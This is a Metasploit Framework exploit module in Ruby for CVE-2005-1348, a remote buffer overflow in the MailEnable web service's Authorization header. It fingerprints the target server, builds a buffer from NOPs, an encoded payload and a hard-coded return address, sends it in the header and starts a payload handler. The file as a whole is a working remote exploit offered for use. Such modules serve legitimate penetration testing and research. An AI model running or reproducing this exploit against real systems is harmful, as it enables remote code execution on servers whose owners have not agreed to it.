##
# $Id: mailenable_auth_header.rb 4571 2007-03-25 23:35:45Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##


require 'msf/core'

module Msf

class Exploits::Windows::Http::MailEnableAuthHeader < Msf::Exploit::Remote

	include Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'MailEnable Authorization Header Buffer Overflow',
			'Description'    => %q{
	This module exploits a remote buffer overflow in the MailEnable web service.
	The vulnerability is triggered when a large value is placed into the Authorization
	header of the web request. MailEnable Enterprise Edition versions priot to 1.0.5 and
	MailEnable Professional versions prior to 1.55 are affected.
			},
			'Author'         => 'David Maciejak <david dot maciejak at kyxar dot fr>',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 4571 $',
			'References'     =>
				[
					['OSVDB', '15913'],
					['OSVDB', '15737'],
					['BID',   '13350'],
					['CVE',   '2005-1348'],
					['NSS',   '18123'],
					['MIL',   '97'],
				],
			'Payload'        =>
				{
					'Space'    => 512,
					'BadChars' => "\x0d\x0a"
				},
			'Platform'       => 'win',
			'Targets'        => 
				[
					['MEHTTPS.exe Universal', { 'Ret' => 0x006c36b7 }], # mehttps.exe
				],	
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Apr 24 2005'))
	end

	def check
		response = send_request_raw

		if response and 
		   response['Server'] and 
		   response['Server'] =~ /.*MailEnable/
			return Exploit::CheckCode::Appears
		end
			
		return Exploit::CheckCode::Safe
	end

	def exploit
		buffer = make_nops(24) + payload.encoded + [target.ret].pack('V')

		send_request_raw({
				'headers' => { 'Authorization' => buffer }
			}, 2)

		handler
		disconnect
	end

end
end	
